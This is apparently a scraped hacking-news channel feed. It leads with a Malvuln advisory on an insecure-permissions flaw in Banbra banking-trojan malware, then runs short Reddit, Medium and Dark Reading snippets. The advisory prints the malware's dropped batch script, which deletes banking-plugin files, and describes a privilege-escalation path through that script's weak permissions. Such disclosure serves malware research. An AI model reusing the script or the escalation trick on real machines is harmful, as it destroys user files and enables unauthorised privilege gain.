Hacking Articles Tips Tricks Videos Tutorials

Trojan-Banker.Win32.Banbra.cyt MVID-2022-0611 Insecure Permissions

Exploit Collector
Trojan-Banker.Win32.Banbra.cyt MVID-2022-0611 Insecure Permissions

https://4.bp.blogspot.com/-1sVwQJsRVpo/WWlvgaUDftI/AAAAAAAAIQM/9m_QfduSdAQi14Fs6kLQe2-YLO5Bx1iKQCLcBGAs/s1600/h87.png
Trojan-Banker.Win32.Banbra.cyt malware suffers from an insecure permissions vulnerability.

SHA-256 | 59d78448228c37d3ef646c8d1875471e29b3ea9f4f7baf50d7b0322510692ded

Download

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/e0f2bee25dd103d92e91e895e313ec34.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Banker.Win32.Banbra.cyt
Vulnerability: Insecure Permissions 
Description: The malware writes a batch script ".bat" file to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges. 
Family: Banbra
Type: PE32
MD5: e0f2bee25dd103d92e91e895e313ec34
Vuln ID: MVID-2022-0611
Disclosure: 06/06/2022

Exploit/PoC:
C:\>cacls autoexec.bat
C:\autoexec.bat BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\>type autoexec.bat
@echo off
SET princix=del
SET pasta1=c:\windows\downlo~1\gb*.*
SET pasta2=c:\windows\downlo~1\*.g??
SET pasta3=c:\windows\downlo~1\g*.*
SET pasta4=c:\arquiv~1\GbPlugin\g*.*
SET pasta5=c:\arquiv~1\GbPlugin\b*.*
SET pasta6=c:\arquiv~1\GbPlugin\c*.*
SET pasta55=c:\arquiv~1\GbPlugin\u*.*
SET pasta7=c:\windows\downlo~1\Ab*.*
SET pasta8=c:\windows\downlo~1\b*.*
SET pasta9=c:\windows\downlo~1\Ab*.*
SET pasta10=c:\progra~1\GbPlugin\g*.*
SET pasta11=c:\progra~1\GbPlugin\b*.*
SET pasta12=c:\progra~1\GbPlugin\c*.*
SET pasta56=c:\progra~1\GbPlugin\u*.*
SET pasta13=C:\progra~1\Scpad\s*.*
SET pasta14=c:\arquiv~1\Scpad\s*.*
SET pasta15=C:\WINDOWS\system32\scpsssh*.*
%princix% %pasta1%
%princix% %pasta2%
%princix% %pasta3%
%princix% %pasta4%
%princix% %pasta5%
%princix% %pasta6%
%princix% %pasta7%
%princix% %pasta8%
%princix% %pasta9%
%princix% %pasta10%
%princix% %pasta11%
%princix% %pasta12%
%princix% %pasta13%
%princix% %pasta14%
%princix% %pasta15%
%princix% %pasta55%
%princix% %pasta56%

C:\>
C:\>dir autoexec.bat
Volume in drive C has no label.

Directory of C:\

05/24/2022  02:26 AM             1,028 autoexec.bat
1 File(s)          1,028 bytes
0 Dir(s)  24,498,929,664 bytes free
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 16:04

Marketplace for non-0-day edploits

hacking: security in practice
Marketplace for non-0-day edploits

There are a few big names in the space of buying and selling 0-day exploits as could be seen in the news. The bigest would be Zerodium. My question is are there any other companies buying and selling exploits for already published vulnerabilities but that do not yet have an exploit available?
I must assume that there would be amarket for that, especially if we talk about recent vulnerabilities.

submitted by /u/reujea0
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

There are a few big names in the space of buying and selling 0-day exploits as could be seen in the news. The bigest would be Zerodium. My...

6 viewsedited 16:08

5 views16:08

6 views16:08

Password Harvesting, Industrial Exploitation, and Reverse Shells,...

hacking: security in practice
Password Harvesting, Industrial Exploitation, and Reverse Shells, Oh My! Repository of Red Teaming TTPs

https://external-preview.redd.it/FjUuYjEb3vvIJiLhuLhJ9McDCCv4-H9pEiUMV_eHy6w.jpg?width=640&crop=smart&auto=webp&s=bbbde19c5b96497c46407974ae962a9215629200 submitted by /u/entropydaemon6
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Posted in r/hacking by u/entropydaemon6 • 1 point and 0 comments

8 viewsedited 16:08

Can't choose disk file on virtualbox

hacking: security in practice
Can't choose disk file on virtualbox

On Windows 10 when I open virtualbox and choose the disk file it doesnt recognize kali linux and if I try to search it and add it then it gives me an error, which I posted below. I went into the settings of the virtual machine and almost all of them are disabled (I can't click or enable them).

I'm not sure if the virtualization is enabled since I cant check the bios of the pc (maybe there is another way), and this might be the problem. In task manager I checked and it says virtualisation is enabled, but maybe I heard it only works through bios.

Could not get the storage format of the medium 'C:\Program Files\Kali Linux\kali-linux-2022.2-virtualbox-amd64.ova' (VERR_NOT_SUPPORTED).

Result Code:

VBOX_E_IPRT_ERROR (0x80BB0005)

Component:

MediumWrap

Interface:

IMedium {ad47ad09-787b-44ab-b343-a082a3f2dfb1}

Callee:

IVirtualBox {d0a0163f-e254-4e5b-a1f2-011cf991c38d}

Callee RC:

VBOX_E_OBJECT_NOT_FOUND (0x80BB0001)

submitted by /u/zignet3
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

On Windows 10 when I open virtualbox and choose the disk file it doesnt recognize kali linux and if I try to search it and add it then it gives me...

8 viewsedited 16:10

The Surreal Case of a C.I.A. Hacker’s Revenge

hacking: security in practice
The Surreal Case of a C.I.A. Hacker’s Revenge

https://external-preview.redd.it/ArjakZcbA3AQPTNkR00o2iGa1nEqWI8-b8QvbXIT8eE.jpg?width=640&crop=smart&auto=webp&s=87258239a7aa8e500c0270b33cbcf7f7bb570c5b submitted by /u/Zee2A
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Posted in r/hacking by u/Zee2A • 1 point and 0 comments

13 viewsedited 16:10

resources for issue definition

resources for issue definition
https://www.reddit.com/r/Pentesting/comments/v6xcz9/resources_for_issue_definition/

I'm trying to write up my first report and I've my attack path sorted. Having difficulty converting my findings to issues. I've found https://portswigger.net/kb/issues. Have you any other resources like these to assist pairing the findings to issues? submitted by /u/MrFoxes (https://www.reddit.com/user/MrFoxes)
[link] (https://www.reddit.com/r/Pentesting/comments/v6xcz9/resources_for_issue_definition/) [comments] (https://www.reddit.com/r/Pentesting/comments/v6xcz9/resources_for_issue_definition/)

___________________________
@hacking_Attack
@Hacking_Video

I'm trying to write up my first report and I've my attack path sorted. Having difficulty converting my findings to issues. I've found...

10 viewsedited 17:06

Dark Reading: Attacks/Breaches
7 NFT Scams That Could Be Targeting Your Brand

Brands should be vigilant to ensure sites and listings promoting NFTs for sale are legitimate and not being used as an instrument by fraudsters to swindle customers.

14 views17:59

Dark Reading: Attacks/Breaches
Enterprise Security Around the Dinner Table

Enterprise cybersecurity awareness training has evolved to include informal lessons for employees’ family members, and it has many benefits.

11 views18:00

Dark Reading: Attacks/Breaches
RSAC Opens With Message of Transformation

Cybersecurity needs to shift its thinking ahead of the next disruption, RSA's CEO said during the opening 2022 conference keynote.

12 views18:00

Dark Reading: Attacks/Breaches
How the C-Suite Puts Shoulders Into Zero Trust in 2022

A full 77% of tech executives say they'll increase spending in zero-trust architecture in the coming year.

10 views18:00

Intigriti — XSS Challenge — March 2022 — Bug Bounty Hunting — Writeup

Hello guys I am back again. This challenge was pretty interesting and one of my fav. Let’s start talking instead of wasting our time.Continue reading on Medium »
Read more...

9 views18:28

9 views18:45

Hack the Box: Lame — Writeup (Without Metasploit)

Hacking on Medium
Hack the Box: Lame — Writeup (Without Metasploit)

https://cdn-images-1.medium.com/max/1225/1*B183huBEXJBuJR_ol_-w7Q.png
Lame is an Easy-rated retired Hack the Box machine. It is vulnerable to CVE-2007–2447, which takes advantage of the MS-RPC functionality…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

Lame is an Easy-rated retired Hack the Box machine. It is vulnerable to CVE-2007–2447, which takes advantage of the MS-RPC functionality…

7 viewsedited 18:45